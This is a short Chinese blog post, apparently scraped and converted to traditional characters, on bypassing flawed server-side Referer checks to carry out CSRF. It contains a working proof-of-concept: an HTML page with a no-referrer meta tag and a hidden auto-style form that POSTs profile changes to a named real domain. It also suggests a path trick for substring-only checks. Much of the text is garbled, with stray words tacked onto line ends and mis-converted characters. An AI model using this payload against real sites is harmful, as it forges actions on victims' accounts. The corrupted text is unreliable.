CSRF繞事後端Referer校驗

CSRF繞事後端Referer校驗分正常狀況和不正常的狀況,咱們這裏主要討論開發在寫校驗referer程序時,不正常的狀況下怎麼進行繞過。html

正常狀況

正常的狀況指服務器端校驗Referer的代碼沒毛病,那麼意味着前端是沒法繞過的。前端

我以前考慮過的方案:後端

  • JS修改Referer,失敗;
  • 請求惡意網頁後,後端從新送包,問題是你怎麼跨域拿Cookie,失敗;


不正常的狀況

不正常的狀況指服務器端校驗Referer的代碼有漏洞,前端才能作到繞過,下面介紹幾個可能會繞過Referer的案例;跨域

添加無Referer標籤

能夠嘗試無Referer標籤,萬一邏輯恰好沒判斷無Referer的狀況呢;瀏覽器

<meta name="referrer" content="never">服務器

<html>
  <meta name="referrer" content="never">
  <body>
  <script>history.pushState('', '', '/')</script>  <!-- 實現瀏覽器頁面不刷新修改url連接 -->
    <form action="http://www.baidu.com/setProfile" method="POST">
      <input type="hidden" name="nickname" value="new22" />
      <input type="hidden" name="email" value="1&#64;1&#46;com" />
      <input type="hidden" name="team" value="new22" />
      <input type="hidden" name="address" value="new33" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

自建服務器路徑帶referer字段名

原理就是在路徑上建立成本來referer中有的字段名,若是校驗只是判斷是否包含,那就666了;url

相關文章
相關標籤/搜索